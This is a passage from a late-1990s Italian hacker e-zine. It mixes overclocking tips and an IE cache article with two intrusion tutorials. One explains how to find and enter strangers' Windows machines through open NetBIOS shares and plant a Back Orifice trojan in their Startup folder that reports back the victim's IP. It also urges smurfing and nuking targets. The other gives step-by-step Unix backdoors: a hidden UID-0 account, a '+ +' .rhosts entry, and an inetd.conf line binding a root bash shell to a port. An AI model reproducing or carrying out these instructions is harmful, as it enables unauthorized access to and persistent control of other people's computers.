100 x 4.0 = 400
83 x 4.5 = 380
ecc......
Alla risultato della frequenza esterna ci sono doppi risultati; questo dipende da vari fattori, il processore oppure e sopratutto la Tabella di Codifica
interna dei Bios che arrotonda la frequenza.
Un altro trucco consiste nell'alzare il voltaggio della CPU, questo riscalder…
ancora di pi— il Chip ma aumenter… la stabilit… del processore in caso di
overclock, alcune schede madri permettono un incremento di 0,1 volt. Andate
per grado troverete la soluzione ideale e attenti alla temperatura.
Se volete aumentare ancora di + la frequenza consiglio di applicare un dissipatore + grosso ed una ventola + grossa, in questo modo si riesce ad aumentare la frequenza di 100 MHZ.
Ho provato a portare il mio K6-2 350 a 450 senza ventoloni, dissipatori, o
Boyler interni al cabinet :-), beh vi GIURO (so che non si giura mai ma in
questo caso lo faccio) sotto WinPesce non si avvia neanche il DOS 7.x, invece
sotto Linux addirittura in stato di StandBy raffredda la CPU e funziona a 450,
mentre in WinFiletto di patessa no. Questo dimostra l'efficacia di alcuni programmi come Rain (io lo consiglio xkŠ occupa poco spazio, Š solo un file e
raffredda di +) capaci di aiutare l'overclock, ma attenzione solo se non si
usa al 100% la CPU, per esempio per tenere il computer acceso per fare un
calcolo di chimica o matematica complessi, come nel mio K6-2 portato a 450, ho
provato a vedere se reggeva compilando questo semplice programma:
--- ovclk.c ------------------------ Taglia qui -----------------------------#include <stdio.h>
int t = 0;
void main()
{
for( ; ; t++) printf("%d\n", t);
}
------------------------------------ Taglia qui -----------------------------Compilatelo con:
gcc -o ovclk ovclk.c
Eseguendo 2 copie nel nxtern in KDE e attivando tutte le shell in modalit…
testo ed in queste avviando poi il programma, dopo pochissimi secondi, a mio
malincuore, ho dovuto resettare subito tutto xkŠ si chiudevano i processi
senza alcun motivo ed in + il dissipatore "BRUCIAVA".
Con questo ho finito sulle CPU, passiamo alle mitiche Voodoo 1.
+oO000000000Oo+
2. Overclock schede Voodoo versione 1 a 65 MHZ:
ATTENZIONE!!!!: SCONSIGLIO VIVAMENTE ALLE PERSONE CHE HANNO PROBLEMI DI CUORE
DI LEGGERE QUESTO ARTICOLO, IN QUANTO QUESTA COSA NON L'HA MAI
PROVATA NESSUNO E SPINGE AI LIMITI FISICI DEI CHIP DELLE
SCHEDE. IO VI HO AVVERTITI, DOPO NON VENITE DA ME A CHIEDERMI
IL RIMBORSO DELLE SPESE DELL'OSPEDALE.
All'inizio possedevo una Flash 3D, poi una Magic 3D poi, dopo averla trovata
solo in una fiera a Piacenza alla modica cifra di 270.000 œ una mitica Canopus
Pure 3D 1, mitica xkŠ sembra fatta apposta per i Clockers (NON HANNO DATO
ANCORA UN NOME AGLI "OVERCLOCKATORI" ALLORA LO DO' IO) semplicemente xkŠ ci
sono 2 fori posti diagonalmente al chip voodoo + piccolo, che guarda caso Š
quello che scalda di +), fatti apposta per aggangiarci su di tutto, come un
dissipartore + ventola o come fanno molte case costruttrici, solo una ventola,
poi possiede anche (questo l'ho dedotto leggendo la preview della Pure 3D 2
con Voodoo 2) ebbene si, un connettore per l'alimentazione di una eventuale
ventola moooooolto comodo devo dire e, come se non bastasse la scheda cos•
nuda e cruda arriva a 60 MHZ con i suoi driver (ma anche quelli normali).
Per arrivare alla frequenza di 65 MHZ, che come ho gi… detto Š il massimo che
si riesce ad arrivare con questi chip dopodichŠ la voodoo incomincia a vedere
il paradiso della 3DFX (Vedasi cassonetto della spazzatura), bisogna applicare
su ognuno dei due chip Voodoo l'accopiata ventola + dissipatore con pasta
siliconica (che rimando al capitolo 3 su come risparmiare), eseguite questo
procedimento sia per le CPU che per le Voodoo. Se proprio volete risparmiare
ancora, fate come ho fatto io: prendete un CPU Cooler (altro che non Š che
il kit ventola + dissipatore) che abbia il dissipatore che in larghezza o
lunghezza o meglio ancora tutti e due i lati (cos• si raffredda una zona +
ampia) quella che ho trovato miracolosamente io Š larga e lunga 6.5 cm, ed una
ventola secondaria magari di un vecchio 486 o altro. A questo punto svitate
la ventola sul dissipatore e fate in modo di riavvitarle tutte e due sul dissipatore anche se escono al di fuori dello stesso.
Prendete la pasta siliconica ed applicatene un po sia sulla superficie del
chip che del dissipatore a questo punto teneteli attaccati per circa 5 minuti
con le vostre manine, se vedete che si staccano ancora dovete ripulire le
superfici impastate con alcool etilico e riprovare magari applicandone un po
di pi—.
-Per quelli che hanno una presa sulla loro Voodoo (di solito di colore bianco
sulla Canopus) che ho descritto nell'introduzione:
-Tagliate le prese di alimentazione delle 2 ventoline (quelle
bianche per intenderci), queste non servono + non so magari conservatele per
sostituire eventuale connettori che si rompono o fare estensioni in caso
abbiate finito quelli presenti nel vostro cabinet. Vi serve sono uno di quei
connettori piccoli che di solito si collegano per il Turbo Switch, che come
saprete, se non lo sapete ve lo dico io, i processori dalla serie "Pentium"
in poi non possiedono la capacit… di turbo come i 486 e non so i 386. Prendete
questo (di solito piccolo rettangolare molto sottile di colore nero) e collegate fra di loro il cavo di colore rosso delle ventole e separatamente
quelli neri delle due ventole, in questo modo alimentate due ventole con una
presa. In fine (finalmente non ne posso + di scrivere, sono le ore 19:40)
guardate con un tester o semplicemente con un led quale Š il polo positivo
e negativo della presina bianca posta sulla scheda quella vicino alle piste
del connettore PCI ed attaccateci il connettore appena creato per intenderci;
Ecco + 0 - l'immagine (schematizzata) della mia Voodoo dopo avergli attaccato
il dissipatore e le due ventole:
|
----+--------------------+--+
|
|
|O -------------------------- Presa di alimentazio|
|
ne per ventoline
+--|
+-------------+ |
| |
|||||||||||||||---------- Dissipatore grande
| | +-------++-------+ |
| | |
||
| |
| | |
||
| |
Ventola nø 1 ------------|
||
|--------- Ventola nø 2
| | +-------++-------+ |
| |
||||||||||||||| |
| |
+-------------+ |
| |
|
+--|
|
|
|
|____________________|
Penso che dopo che qcuno vedr… questo disegna mi dar… il premio no-bel (o noschif).
Ultima nota: questa modifica purtroppo occuper… ben due slot nel senso che
almeno la mia occupa con tutto montato ben 3 cm di altezza.
3. I consigli del Clocker:
1. Invece di usare la pasta siliconica che per un tubettino piccolo costa ben
100.000 œ, comprate la "Pasta Rossa", che tutti i meccanici conosceranno,
ne esiste anche una nera, ma io consiglio quella rossa della Arexons xkŠ
trasmette meglio il calore e regge a temperature da -70øC a + 300øC;
2. Se per i vostri OverClock dovreste notare un surriscaldamento eccessivo del
dissipatore, spegnete immediatamente il computer xkŠ se si scalda questo
che resiste molto al calore, figuriamoci a che temperatura sia il Chip;
3. Le CPU di solito dovrebbero resistere se non sbaglio fino a 50-60øC dopo di
tale soglia si rischia di bruciare la CPU;
4. Cercate quanto pi— possibile di tenere con programmi o dissipatore grandi e
ventole altrettanto grandi di raffreddare i chip. Per le CPU consiglio di
usare programmi tipo Rain (che troverete qui in allegato oppure al mio sito
indicato nell'intestiozione di questa guida) o altri programmi.
Per questo numero Š finita sono le ore 20:25 e finalmente ho finito, spero
con l'autorizzazione di N0bodY88 di iniziare a scrivere un corso su Assembler
e C e sul cracking e Html e programmazione Giochi in ambiente DOS intanto lo
ringrazio per avermi dato la possibilit… di dare il mio aiuto a gente che
cercava qualche info in pi— sugli argomenti appena descritti.
Se doveste capitare i IRC io sono in #hacker2, #warezitalia, a volte in #newtgm
quando non lo takkano, #funstaff se ]Games[ si decidesse ad aprirlo, il mio
NickName Š SoftWord numero ICQ 33483513.
UN ANNUNCIO A TUTTI: SE QUALCUNO CONOSCE UN BREVE TUTORIAL DI SORGENTI CHE
SPIEGANO COME PROGRAMMARE IN AMBIENTE WINDOZ COL C
SENZA CLASSI (NON MI PIACCIONO TANTO SI CAMPA ANCHE SENZA)
E' PREGATO E SUPPLICATO DALLO SCRIVENTE DI INVIARMI
L'INDIRIZZO INTERNET DOVE REPERIRE SUDDETTA DOCUMENTAZIONE.
Ciauz a tutti e concludo con una famossima frase della Micro$oft:
"Windows 98: Do you want to Reinstall today ?".
My manifest
-=SoftWord=ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
CHE ABBIANO CAPITO QUALCOSA ?
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Salve a tutti!!!
Ecco un altro articolo per questa grande e-zine .(continuate cos•)!
Questa volta voglio parlarvi di una cosa che mi ha stupito moltissimo.
Il 9 Aprile sono andato a Bologna per il Futurshow (quante figheeee) e mentre
ero nei dintorni dello stand della tin, una ragazza che lavorava li mi ha dato
un piccolo libretto intitolato "Il dizionario di Internet".
Sicuro di aver beccato la solita cazzata lo prendo e me lo metto in tasca.
Fin qua direte voi. "E con ci•?".. come ho avuto un po' di tempo ho iniziato a
sfogliare il dizionario, trovando le solite cose ...Irc, Ftp, Telnet ecc.
Arriviamo al dunque. Per caso ho cercato la parola "Hacker" sicuro di trovare
le solite definizioni date da chi cerca di parlare di ci• che non conosce,
come "Pirati Informatici" o "Criminali della Rete".
Ebbene no..
..ecco quello che dice..
[.]
Negli ultimi tempi, per•, Š nata una distinzione fra "hacker" e "cracker":
mentre questi ultimi sono i criminali del futuro, il termine hacker ha perso
ogni eccezione criminale o negativa. Addirittura cercano oggi di assumere
hackers che studino in maniera ortodossa le loro tecnologie, per scovarne i
punti deboli e migliorarli.
[.]
FABIO ROSSI ha scritto queste definizioni ..forse Š uno dei pochi che ha
capito qualcosa
Ja[3]Ck
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
HACKING DEI COMPUTER NETBIOSSATI
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
* Introduzione:
Eccomi qua. Questa Š la prima volta che scrivo un articolo per Newbies, anche
se N0bodY88 mi prega di farlo fin da prima dell'uscita del numero 1 (non ho
mai avuto voglia di scrivere qualcosa per lui, poveretto=)). Dato che mi faceva
molta pena ho deciso di scrivere sto articolozzo sul Netbios. E voi dite: "e mo
che Š sto Netbios??". Il Netbios Š una cosina fatta da Microsfott © che serve a
sfruttare le reti locali LAN IPX. Dato che il nostro caro amico Bill Š fissato
con integrare tutto con internet ha integrato pure questo Netbios, rendendolo
facilmente accessibile da chiunque via rete. Ma che simpatico questo nostro
caro amico Bill.
* Configurazione del pc:
Per sfruttare le risorse di questa miniera d'oro chiamata netbios bisogna
configurare il proprio pc con su montato winzozz T. Eh si mi dispiace ma il
caro sistema disoperativo del vecchio Bill Š necessario. Ora andate nelle
propriet… della vostra connessione di accesso remoto, in tipi di server, e
mettete accedi alla rete. Fatto ci• andate in avvio\impostazioni\pannello di
controllo\rete e aggiungete i seguenti client:
Client per reti microsoft
Client per reti netware (che automaticamente aggiunger… il protocollo
compatibile IPX/SPX, se non lo fa fatelo voi)
E il protocollo Netbios.
Fatto ci• andate nelle propriet… del client per reti microsoft e selezionate
connessione rapida, dopodichŠ nelle propriet… del protocollo compatibile
IPX/SPX mettete attiva Netbios. Fate OK e dopo aver installato i driver (per
i piratoni ci vuole il cd di windows) riavviate il pc. Ora siete pronti per
fare kasino!!!
* Hacking dei computer Netbiossati:
Volendo fare un po' di teoria vi dir• che il Netbios lavora sulla porta 139
TCP/UDP (si proprio quella del winnuke).
Prima di tutto beccate un computer col sysadmin scemo e il Netbios attivo
(come farlo ve lo spiego dopo). Vi faccio un esempio pratico cos• anche i pi—
grulli capiscono come funziona la cosa (senza offesa per i pi— grulli hihi=)).
Allora io becco l'ip della macchina (212.216.34.144) poi vado nel prompt di
msdos (evvivaa niente winzozz T per ora) e scrivo:
cd x:\windows
nbtstat -A 212.216.34.144
Vi risponder…:
NetBIOS Remote Machine Name Table
Name
Type
Status
---------------------------------------------------------------------------HALL9000
<00> UNIQUE
Registered
WORKGROUP
<00> UNIQUE
Registered
HALL9000
<03> UNIQUE
Registered
HALL9000
<20> UNIQUE
Registered
WORKGROUP
<1E> UNIQUE
Registered
A questo punto ci segnamo il primo nome della lista, HALL9000 (notate che nel
Netbios tutto Š scritto maiuscolo), e facciamo:
edit x:\windows\lmhosts
Nell'editor del dos scriviamo:
212.216.34.144
HALL9000
#PRE
Il tag #PRE Š fisso e va sempre messo, gli spazi sono fatti col TAB (non usate
altro). Salvate e uscite. Ora per caricare questo file scrivete:
nbtstat -R
Vi dovrebbe rispondere (se vi risponde altro o avete sbagliato a editare il
file oppure avete configurato male il pc):
Successful purge and preload of the NBT Remote Cache Name Table.
Ora vediamo se ci sono risorse condivise nel pc. Fate:
net view \\HALL9000
Se non ci sono risorse condivise o non si ha il permesso di accedervi vi
risponder… con un errore, altrimenti vi dir…:
Risorse condivise su \\HALL9000
Condivisione
Tipo
Commento
________________________________________________
C
Disco
D
Disco
E
Disco
F
Disco
G
Disco
HP
Stampa
Esecuzione comando riuscita.
Tombola!! Ci siamo abbiamo i nomi delle sue risorse condivise. Ora basta uscire
dal dos e andare in gestione risorse (si avete letto bene). Nel menu in alto
andate in Strumenti\Connetti unit… di rete. Ora come avrete gi… capito si
assegna una lettera al vostro "nuovo hd" che avrete (cioŠ l'hd dell'altro) e
scrivete \\HALL9000\C per esplorare la condivisione C (che probabilmente sar…
il C: del tipo), \\HALL9000\D per la condivisione D e cos• via. Avrete notato
sicuramente che oltre ai vari dischi li c'Š anche la condivisione HP di tipo
"Stampa". Vuol dire semplicemente che quella condivisione Š connessa alla
stampante del tipo e potete stampare i vostri file con la sua stampante..
divertente no?=). Naturalmente sar… tutto abbastanza lento perchŠ avverr… via
internet, non sar… come esplorare i vostri hd di certo. Bene ora che sapete
come accedere agli hd passiamo a cose pi— importanti. Prima di tutto vi
chiederete come fare a prendere e a mettere file. E' semplice, dato che l'hd
in remoto Š come se fosse il vostro, quindi basta fare copia e incolla. Come
fare invece per eseguire i file? Non Š cos• semplice come pensiate,
cliccando sul file .exe in remoto si eseguir… sul VOSTRO pc (ovviamente)
quindi dovete giocare d'astuzia. Se volete mettere un trojan settatelo in
modo da mandarvi una email con l'ip ogni volta che il pc va online, dopodiche'
mettete questo trojan in c:\windows\menu avvio\programmi\esecuzione automatica\
oppure in c:\windows\start menu\program files\startup (non ne sono sicuro pero',
non ho la versione inglese di windows). Poi fate in modo di riavviare il pc se
e' un server fisso, altrimenti aspettate il giorno dopo (per vedere se e' un
server guardate la lista di ID dell'nbtstat -A, se ce ne sono pi— di 4-5 allora
probabilmente Š server). Smurfatelo, nukkatelo, provate tutto. Consiglio di
usare il BO dato che all'avvio si cancella da esecuzione automatica. Inoltre
quando entrate con gestione risorse se il sysadmin Š un po' furbo vi verra'
chiesta una password (non preoccupatevi, cio' e' molto raro). Exploits o un
brute force per queste password purtroppo non ne conosco, se voi si allora
mandatemi informazioni. Ultima cosa, quando i nomi degli ID o delle condivisioni
contengono spazi dovete usare gli "". Ad esempio se con nbtstat -A troviamo il
nome TRA LLA allora nel lmhosts dovremo scrivere:
numero_ip
E poi
"TRA LLA"
#PRE
net view "\\TRA LLA"
E se vediamo che ha una condivisione chiamata BLA BLA allora faremo in
gestione risorse:
"\\TRA LLA\BLA BLA".
* Trovare i computer Netbiossati:
Questo Š molto semplice, basta un programma chiamato Legion (lo trovate su
http://rhino9.ml.org o al mio sito http://kalidor.tsx.org) che scanna dei
range di ip. Io consiglio di provare sempre il dominio 212.216.* dato che ho
scoperto che quella zona Š strapiena di ip Netbiossati (infatti Š la zona
principale della TIN;-)).
* Ultima parola:
L'articolo Š finito, spero sia stato esauriente, cmq se avete domande scrivetemi
a [email protected]. Ringrazio N0body per avermi costretto a scrivere questo
articolo,
almeno ho trovato qualcosa da fare.
Kalidor (mailto:[email protected] http://kalidor.tsx.org)
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ TRE SEMPLICI BACKDOORS
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Created by: Hamelin
1 ) aggiungere un account
2 ) manipolare .rhosts
3 ) crearsi una porta sul sistema
Prima di tutto bisogna spiegare il significato di backdoor (lo dico per i
newbies che leggono per la prima volta testi sull'hacking..) : in poche parole
Š un metodo che serve a mantenere l'accesso su un sistema dopo che il system
administrator si Š accorto di una eventuale intrusione e sul metodo usato
dall'hacker per penetrare.
Crearsi una delle backdoor elencate sopra non Š difficile e molte volte
risultano efficaci (soprattutto se il sysop non controlla spesso i files di
sistema...).
NOTA IMPORTANTE: per eseguirle nella maggior parte delle volte dovrete avere
l'accesso con UID 0 e GID 0 ..ovvero come root!
1 ) Una delle prime cose che farei una volta entrato nel sistema Š aggiungere
un account al file delle password (etc/passwd) in modo da poter rientrare con
estrema facilit….Il comando da eseguire Š:
adduser Beppe (Beppe Š il nome che volete...)
passwd Enricolatalpa (Enrico ecc. Š la password che poi userete per loggarvi...)
Ovviamente sarebbe meglio non usare un nome come Beppe perchŠ se il sysop
dovesse leggere il file delle passwd (e lo fa...) noterebbe subito il
nomignolo e potrebbe insospettirsi...
Una buona idea sarebbe usare ad esempio - syst - .
Ricordatevi anche di settare il vostro uid a 0 cos• come il gid in modo da
avere accesso con privilegi massimi!
2 ) Questa Š una backdoor molto usata e permetterebbe di avere un accesso
senza passwd!
Innanzi tutto Š bene chiarire cos'Š Rlogin.Questo bel programmino permette di
loggarsi senza bisogno di una password (man rlogin , per maggiori informazioni
...) ma si possono usare anche rsh e rexec.
Cmq, quello che dovrete fare Š editare il file .rhosts (di solito nella
directory /etc oppure nelle home dei vari utenti) ed aggiungere un bel + + .
Se ci dovessero essere gi… degli account baster… aggiungere i pi— sotto.
In questo modo tutti potranno eccedere al sistema semplicemente usando rlogin.
Se invece volete essere masochisti potrete inserire questo nel file:
vostro_server
vostro_username
Ovviamente Š altamente sconsigliato perchŠ se il system operator dovesse
editare il file vedr… praticamente la vostra carta di identit… (e mandarvi i
carramba a casa in mezz'ora),potreste invece usare l'account di qualcun altro
( qui tornano utili Back Orifice e Netbus) ma per farlo dovreste essere
veramente bastardi.
Ultima cosa per quelli che non hanno voglia di vedersi il manuale di
rlogin....la sintassi Š la seguente:
rlogin -l username host
3 )Quest'ultima backdoor Š un p• pi— complicata delle altre (se vi sembra
tanto difficile allora non conoscete unix 'azz ).La prima cosa da fare Š
editare il file services dove sono elecanti tutti i servizi e le rispettive
porte.Adesso trovate una porta disponibile ad esempio la 22.
....
ftp-data
ftp
telnet
- file services 20/tcp
21/tcp
23/tcp
------> come vedete manca la 22..
perche' non la creiamo....noi?
quindi aggiungete questa linea sotto ftp e sopra telnet:(rifaccio tutto per
gli Homer Simpson all'ascolto v…... : )
ftp-data
ftp
hamelin
telnet
20/tcp
21/tcp
22/tcp
23/tcp
Analizziamo:
Hamelin
|
|
nome servizio
22
porta
/
|
|
tcp
|
|
protocollo usato dal servizio
Ok,salviamo tutto ed editiamo un altro bel file : inetd.conf
In esso possiamo trovare scritti tutti i servizi attivi e non (ovviamente noi
attiveremo qualcosa eh!eh! : )
Troverete certamente righe come queste:
(1)
(2)
(3)
(4)
(5)
(6)
(7)
ftp
stream tcp
nowait root
/usr/etc/ftpd
ftpd
talk
dgram
udp
wait
root
/usr/etc/ntalkd ntalkd
Analizziamo:
1)nome daemon 2)tipo di connessione 3)protocollo usato (che non Š a quadretti
o a righe...)
4)tipo di daemon 5)user associato al daemon 6)programma da eseguire al
l'attivazione della connessione 7)programma con le opzioni da eseguire
Quello che dobbiamo fare adesso Š aggiungere la nostra porta.....lo facciamo
cosi':
hamelin
stream
tcp
nowait
/bin/bash
/bash -i
In poche parole abbiamo attivato la connessione sulla porta 22 e l'abbiamo
associata alla shell suid in modo da trovarci dentro al sistema con accesso
di root semplicemente telnettandoci su st… famosa porta 22 (man telnet per
maggiori informazioni).
Con questo ho concluso, spero che sia stato tutto chiaro in caso contrario
scrivete pure a [email protected] cioe' a [email protected] !
dalla regia mi stanno dicendo una cosa...ah si'..... compratevi l'ultimo album
dei Blur che e' stupendo.
SEe Ya!
HaMelIn
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ CACHE DI IE...DOVE HAI MESSO IL MIO MIDI??? ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
PREMESSA = tutto cio' che dico in questo articolo e' prima di tutto considerato
inutile da molte persone e poi e' frutto di mie ipotesi quindi
potrebbe essere tutto sbagliato, ma almeno ci ho provato :)
Ciao a tutti belli e brutti (si comincia bene...) allora in questo articoletto
vi parlero' di una cosa che scoprii qualke mese fa e che scrissi sul ng ahccc
dove confermarono (tnx Master) i miei sospetti, cioe' che avevo trovato i file
della cache di ie 4.0 (peccato che io e le guide di win non andiamo d'accordo...
se no mi sarei evitata una bakkettato dal Maestro eheheheheh).
L'idea di parlarne qui sulla e-zine mi e' venuta a causa di un newbie che mi ha
contattato dicendo che aveva ascoltato un midi navigando in un sito ma che, una
volta offline, del midi non ce ne era + traccia....o almeno non dove si va a
guardare come prima cosa, cioe' nella dir C:\WINDOWS\TEMPORARY INTERNET FILES.
In essa vengono salvate molte pagine e immagini dei siti nei quali abbiamo
navigato quel poko di tempo che telecozz ci ha permesso di farci spennare....
ma non tutte.
E qui vi chiederete...come mai? E io vi rispondero'...e che ne so io???
Pero'..asp...non smettete di leggere...ehehehehe...a prescindere dal fatto che
non so xche' alcuni .htm .html .gif .jpg ci sono e altri no....ma smanettando
in uno di quei pomeriggi di quei gg che non hai un cazz da fare (non avevo
ankora scoperto l'hacking...e tutto quello che c'e' da imparare!) mi sono detto
"Ma se io scarico x y e z xche' vedo solo x e y ?" e cosi' ho deciso di provare
ad andare nella dir C:\WINDOWS, a scegliere "Trova..." dal menu che appariva
clikkando col tasto destro del topo e poi clikkando sul tasto Trova e...tadan!
La ricerca mi fa vedere la solita sfilza di file html e grafici ma..aspetta un
attimo....che cosa sono quelle 4 directory con quei nomi strani? Come notai
subito i famosi file che non trovavo mi accorsi subito che erano contenuti in
quelle dir....e x la cronaca...non ho mai capito che criterio usa ie x mettere
i file nella dir principale o in una delle 4 sottodir.
Sta di fatto che le 4 dir trovate hanno nomi strani, sembrano quasi casuali...
x esempio adesso nella cache io ho 4 directory che hanno i seguenti nomi:
0L2R0L2J
IDWRGTUJ
OKT4XOHO
KTE309UJ
O sono crittate molto bene o sono io pirla (la seconda che hai detto...hihihi).
Se vi doveste trovare con poco spazio su hd (succede!!!) e volete cancellare il
contenuto della dir C:\WINDOWS\TEMPORARY INTERNET FILES quindi non andateci
dentro con explorer o con gestione risorse ma fate un bel trova e cancellate
file
e directory.
Sperando che cio' vi possa essere utili vi lascio con una cosa che mi disse un
hacker moooooooolto tempo fa quando bo non sapevo neanche che fosse e unix
credevo fosse un marca di dentifricio...."Prova e riprova e se va male...
tenta ancora".
Un'altra cosa che vi devo dire...non cancellate il file index.dat anke perche'
non
si puo' cancellare (almeno non direttamente...) ma cmq se fate il Trova vedrete
che
ve lo mette prima delle 4 famose dir che cambiano nome ogni volta che le
cancellate
(ma se dico caxxate mailatemi x correggermi ed aiutare me e tutti gli altri
lettori) e dei centinaia di file restanti dai ns giri in rete...cosa strana ma
utile cosi' selezionate dalla 1a dir all'ultimo file e cancellate tutto il
cancellabile e tutto cio' che non e' ne vitale ne minimamente importante (x non
parlare dei cookies poi...).
Ad un esame + attento del file index.dat aperto con l'editor di dos (con wordpad
non si apre xche' dice che il file e' in uso e quindi bisogna ricorrere al buon
vecchio edit con il quale faccio anke la e-zine tra l'altro...) sono riuscito
a dedurre che all'interno vi sono registrati tutti gli url da noi visitati
ultimamente (ci voleva tanto...) e vi e' un vero e proprio index (indice x
quelli
che con l'inglese ci fanno a pugni) e oltre agli url (utili se si vuole
conoscere
gli interessi di una persona...x poi provare a bucare le sue pass con le liste
di password adatte (musica, macchine, fantasy, rpg etc). Ricordate che nulla e'
inutile se preso da un altro pc (non aggiungo "non nostro" xche' spero ci siate
arrivati...eheheheh). Da un okkiata ankora + a fondo, e premesso che non so
crackare e so programmare mooooolto poco, ho visto che il file INDEX.DAT si
divide
in 2 parti la prima, che occupa la prima parte del file, contiene tutta una
serie
di url che o abbiamo visitato o se li e' inventati il vs uindos (eheheh), mentre
nella seconda parte si vedono, sempre tra simboletti di cui non capisco una k,
degli schemetti x ogni file contenuto nella dir principale o in una delle 4
sottodir
nascoste dal ns amico Bill. Lo schema si presenta a questo modo (lo riporto x
intero e poi ne "analizzo" le voci:
http://members.xoom.com/miosito/immagine.gif
immagine.gif HTTP/1.1 200 OK
ETag: "28a0a1-37f-3684d70d"
Content-Length: 895
Keep-Alive: timeout=15
Content-Type: image/gif
http://members.xoom.com/miosito/immagine.gif
--> (occorre spiegarlo? vabbe....e' l'url...)
immagine.gif HTTP/1.1 200 OK
--> (qui viene riportato il nome dell'immagine e la versione dell'HTTP)
ETag: "28a0a1-37f-3684d70d"
--> (questo probabilmente e' un codice che ie assegna a tutti i file scaricati)
Content-Length: 895
--> (lunghezza del file)
Keep-Alive: timeout=15
--> (non so...potrebbe essere il tempo che ci ha messo ie a raggiungerlo o a
--> salvarlo nella cache non so...)
Content-Type: image/gif
--> (questo e' il tipo di file che troviamo anke andando in gestione risorse,
--> visualizza, opzioni cartella, tipo file e dopo cercate RealMedia File o cmq
--> qualke altro tipo di file che abbia visualizzato qualcosa sotto, mentre si
--> scorre la lista dei tipi di file, nel campo "Contenuto (MIME):". Se
--> andiamo a vedere come vengono "schedati" nell'index.dat i file htm o html
--> vedremmo che in questo campo e' riportato "text/html")
Adesso che sapete di + sul vostro index.dat mi direte...e che ce frega a noi de
sape sta roba....e io vi rispondero'...e che ne so io scrivo solo...hihihihi.
Byez
da me che sono
N0bodY88
e ricordate che
"Conoscenza e' potere"
e non dimenticate che
"Un gg in cui non hai imparato
nulla e' un gg perso"
***************
*
_-_
*
*
/___\ /^\ *
* ø|*_*|ø | *
*
\ /
| *
* >---|---<| *
*
|
| *
*
_/ \_ [|] *
***************
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
SICUREZZA E LINUX
+++++++++++++++++++++++++++++++++++++++++++++++ by [mAx] +++
Introduzione
---------------L'argomento che ho intenzione di trattare (Linux) ha una caratteristica che mi
sembra giusto ricordare. Ha la piu' vasta e IMHO migliore documentazione che
sia mai stata scritta per un programma e/o SO (Sistema Operativo). Non
preoccupatevi non ho intenzione di concludere adesso e dirvi "andate e
